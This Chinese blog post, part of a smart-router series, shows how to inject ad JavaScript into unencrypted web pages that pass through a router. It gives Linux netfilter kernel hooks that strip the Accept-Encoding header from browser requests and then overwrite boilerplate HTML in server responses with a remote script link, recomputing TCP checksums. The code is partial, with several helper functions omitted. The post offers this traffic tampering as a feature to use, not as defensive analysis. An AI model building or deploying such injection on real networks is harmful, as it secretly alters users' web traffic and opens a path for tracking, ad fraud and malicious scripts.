【智能路由器】系列文章连接
http://blog.csdn.net/u012819339/article/category/5803489
路由器子网下的设备访问外部web服务器时,其数据需要流经网关(这里就是路由啦),我们可以在路由器中设立“检查站”,对流经的数据包先“调戏”一番,如果对某个数据包“满意”,就会注入我们的js脚本。
广告植入的目标是要在网页中植入一个脚本连接,然后你可以尽情在你的脚本中发挥!
先上几张效果图片尝尝鲜
1.例子使用了一个javascript脚本文件 ad.js 。脚本代码如下:
alert('Hello! If you see this, it means you successfully visited our ad.js!');
该测试脚本会使网页加载前弹出一个对话框,内容是 Hello! If you see this, it means you successfully visited our ad.js! ,如下:
截图1:
截图2:
2.例子使用了一个网上的脚本,其连接地址为 http://so99.cc ,可以点进去看看其内容,该脚本会在网页中加入菜单,植入效果如下:
截图1:
当一个脚本被成功链接进一个网页时,web前端开发人员就可在脚本中大展拳脚了!
1 在网页中植入一条脚本,可以在这个位置(head 标签后面):
<!DPCTYPE>
<html>
<head>
<script src="http://sc99.cc" type="text/javascript"></script>
...
</head>
<body>
...
</body>
</html>
2 现在的浏览器都支持常见几种压缩格式,浏览器向web服务器发出资源请求时,会请求服务器下发压缩后的数据(节省带宽)。但我们无法对压缩过的数据进行植入,所以我们需要拦截客户端的请求数据包,并去除http报头中的Accept-Encoding字段,如图
步骤:
—>排除ARP包(即挑选ip包)
—>提取TCP数据包(http报文是架在TCP之上的)
—>检测目的端口是否是80端口数据包(https使用的是443端口,且数据加密,先不予考虑)
—>检查http的请求方式是否是GET
—>搜集http包头信息中Accept-Encoding字段,将其内容替换为空格
—>进行TCP和IP校验
3 对外部服务器返回的数据包进行筛选
步骤:
—>排除ARP包(即挑选ip包)
—>提取TCP数据包(http报文是架在TCP之上的)
—>检测源端口是否是80端口数据包(https使用的是443端口,且数据加密,先不予考虑)
—>检查http状态是否是 HTTP/1.1 200 OK
—>搜集http包头信息中Content-Type字段,判断是否是html类型
—>寻找合适的植入点(替换html文件中无关紧要的字段,http报文长度不变,这样所作的更改最少,效率也最高!)
—>数据植入,并进行TCP和IP校验
思路是替换原网页中的臃余数据。这样我们不必在Linux内核层对网络数据包重新组装,因为在netfilter上处理的数据包都是经过TCP分段或IP分片后的一个个小于1500字节的数据包,也不必更改http报文长度,只用截取http报文被TCP协议分段后的第一个分段,然后删除html文件开头一部分信息中的臃余信息,植入成我们的脚本连接即可。
如下,我复制了一个html网页的部分代码,
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="http://c.csdnimg.cn/pubfooter/js/tracking.js" charset="utf-8"></script>
<script type="text/javascript"> var protocol = window.location.protocol; document.write('<script type="text/javascript" src="' + protocol + '//csdnimg.cn/pubfooter/js/repoAddr2.js?v=' + Math.random() + '"></' + 'script>'); </script>
<script id="allmobilize" charset="utf-8" src="http://a.yunshipei.com/46aae4d1e2371e4aa769798941cef698/allmobilize.min.js"></script>
<meta http-equiv="Cache-Control" content="no-siteapp" /><link rel="alternate" media="handheld" href="#" />
<title>【智能路由器】源码追踪路由器启动过程 - 图像、视频、算法、Linux
- 博客频道 - CSDN.NET</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="description" content="界面XML文件:preference_setting.xml <CheckBoxPreference android:key=my_wireless" />
<script src="http://static.blog.csdn.net/scripts/jquery.js" type="text/javascript"></script>
<script type="text/javascript" src="http://static.blog.csdn.net/scripts/ad.js?v=1.1"></script>
<!--new top-->
<link rel="stylesheet" href="http://static.csdn.net/public/common/toolbar/css/index.css">
<!--new top-->
<link rel="Stylesheet" type="text/css" href="http://static.blog.csdn.net/skin/skin-yellow/css/style.css?v=1.1" />
<link id="RSSLink" title="RSS" type="application/rss+xml" rel="alternate" href="/u012819339/rss/list" />
<link rel="shortcut icon" href="http://c.csdnimg.cn/public/favicon.ico" />
<link type="text/css" rel="stylesheet" href="http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/default.css" />
</head>
<body>
...
经过分析,其中有些信息是没有多大作用的,如网页最开头的
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
完全可以写成这样:
<!DOCTYPE html>
再如:
<html xmlns="http://www.w3.org/1999/xhtml">
可以简化成这样:
<html>
再如,可以去掉下例中的meta标签:
<meta name="description" content="界面XML文件:preference_setting.xml <CheckBoxPreference android:key=my_wireless" />
这些臃余信息都是一般网页所共有的内容!这就给了我们方便植入脚本的机会…
这里我们需要对Linux中的netfilter结构有一定的了解,Linux下的netfilter框架就相当于一个大型检查站,里面存在5个监测点,专门用来检测并判决网络数据包的流向及生死:
我们在netfilter的PRE_ROUTING和POST_ROUTING挂载钩子函数,以对和我们广告植入有关的数据包进行“手术”。
钩子函数一:请求拦截
/* 该钩子函数更改了浏览器的请求数据包,目的是让服务器返回的html数据是非压缩的 */
static unsigned int init_req(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
#define URL_MAX_LEN 168
struct sk_buff *sk = skb;
struct iphdr *ip;
struct tcphdr *tcp;
unsigned char *p_data;
char http_GET[URL_MAX_LEN+2]={0};
int n = 0;
uint8_t *eth;
int len;
union
{
unsigned int addr;
unsigned char addr_ip[4];
}ip_addr;
if (!sk)
return NF_ACCEPT;
if(skb->protocol != htons(0x0800)) //查看是否是IP数据包(排除ARP干扰)
return NF_ACCEPT;
eth = (uint8_t *)(skb->data) - 14;
if(!eth)
{
printk("eth empty!\n");
return NF_ACCEPT;
}
memset(&msg, 0, sizeof(MY_HOST_URL_MSG));
memcpy(msg.mac, eth + 6, 6);
ip = ip_hdr(sk);
tcp = (struct tcphdr *)((unsigned char*)ip + ip->ihl*4);
len = ntohs(ip->tot_len) - ip->ihl*4 - tcp->doff*4;
if(6 == ip->protocol) //对TCP数据进行截获,http
{
if(80 != ntohs(tcp->dest))
return NF_ACCEPT;
p_data = (char *)tcp + tcp->doff*4; //数据开头
if(('G' == p_data[0]) && ('E' == p_data[1])) //截获GET字段,这也是TCP分段第一段,http
{
for(n = 0; n < ((len>URL_MAX_LEN)? URL_MAX_LEN:len); n++) //最多截取168个字符
{
http_GET[n] = p_data[n+4]; //剔除GET开头,提取url
if(0x20 == http_GET[n])
{
http_GET[n] = '\0';
if(!strnicmp("HTTP/1.1",(char *)&(p_data[n+4+1]),strlen("HTTP/1.1")))
{
if(!exec_filter(p_data, len))
{
TCP_checksum(sk);
printk("change req ok!\n");
}
after_filter();
break;
}
break;
}
}
}
}
return NF_ACCEPT;
}
以上代码有3个函数未给出原型,分别是:exec_filter(p_data, len)、TCP_checksum(sk)、after_filter(),在此就不罗列代码了。
简单介绍一下:
函数exec_filter()过滤掉一些.js、.png、.jpg、.cgi、.css、.ico等文件的请求后,对剩余的http请求,更改了http报头中Accept-Encoding字段字段内容——将该字段内容替换为空格。函数主要目的是更改客户端的http请求,使服务器返回非压缩的数据!
函数TCP_checksum(sk)进行TCP校验,此处没必要进行IP校验。
函数after_filter()释放一些链表及动态申请的内存。
钩子函数二:广告植入
/* 该钩子函数对外部web服务器返回的数据包进行条件检测,符合条件的就会向html文件中植入脚本连接 */
static unsigned int emPacket(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
struct iphdr *ip;
struct tcphdr *tcp;
unsigned char *p1;
if (!skb)
return NF_ACCEPT;
if(skb->protocol != htons(0x0800)) //查看是否是IP数据包(排除ARP干扰)
return NF_ACCEPT;
ip = ip_hdr(skb);
tcp = (struct tcphdr *)((unsigned char*)ip + ip->ihl*4);
p1 = (uint8_t *)((uint8_t *)tcp + tcp->doff*4);
skb->transport_header = (uint8_t *)tcp;
if((6 == ip->protocol) && (80 == ntohs(tcp->source))) //对TCP数据进行截获,http
{
if(('H'==p1[0]) && ('T'==p1[1]) && ('T'==p1[2]) && ('P'==p1[3]))
{
if(STATUS_OK == prepare_Insert(skb))
{
TCP_checksum(skb);
}
after_Insert();
}
}
return NF_ACCEPT;
}
以上代码中函数prepare_Insert(skb)负责了几乎所有的植入前的条件检查及脚本植入动作,该函数先确认拦截的网络数据包是服务器返回html数据,搜集http报头信息,确认http报文的数据位置,检测该数据包是否具备植入条件,寻找准确的植入位置,进行植入。植入的脚本连接可以由Linux应用层程序通知内核得到(内核和用户程序通过netlink通信)。
PSTATUS prepare_Insert(struct sk_buff * skb)
{
struct iphdr *h_ip = NULL;
struct tcphdr *h_tcp = NULL;
uint8_t *p_data = NULL, *p1 = NULL;
uint16_t data_size = 0;
int16_t http_length = 0;
int16_t html_head_label_pos = 0, html_meta_label_pos = 0;
int16_t err = 0;
uint8_t *link = url_ip;
uint8_t *link1 = url_ip + strlen("<!DOCTYPE html><html><head>");
uint16_t meta_descri_len = 0;
if (!skb)
return STATUS_POINTER_NULL;
h_ip = ip_hdr(skb);
h_tcp = tcp_hdr(skb);
memset(&html_req_info, 0, sizeof(html_req_info));
data_size = skb->len - h_ip->ihl*4 - h_tcp->doff*4;
p_data = (uint8_t *)h_tcp + h_tcp->doff*4;
http_length = collect_http_info(p_data, data_size, &list_root);
if(http_length < 0)
return STATUS_ILL_CONSITION;
if(STATUS_OK == PickUP_Content_Type_IFHTML(p_data, &list_root, &html_req_info))
{
err = collect_html_info(p_data + http_length, 24, data_size - http_length, &html_label_list_root);
if( err > 0)
{
html_head_label_pos = html_whereis_head(&html_label_list_root);
if(html_head_label_pos < 1)
return STATUS_UNFOUND_ERR;
//方案一:<!DOCTYPE...>较长,可植入
if( html_head_label_pos > strlen(link))
{
return exec_Insert(p_data + http_length, link, html_head_label_pos+6);
}
//方案二:<meta name="description"...>较长,可植入
html_meta_label_pos = collect_html_info2(p_data + http_length + html_head_label_pos + 6, data_size - http_length - html_head_label_pos - 6, &meta_descri_len);
if(meta_descri_len > strlen(link1))
{
p1 = p_data + http_length + html_head_label_pos + 6 + html_meta_label_pos;
return exec_Insert(p1, link1, meta_descri_len);
}
return STATUS_UNFOUND_ERR;
}
}
return STATUS_TYPE_ERR;
}
好啦,本文到此结束,作者arvik,【智能路由器】系列文章见
http://blog.csdn.net/u012819339/article/category/5803489
附上arvik当前测试用路由器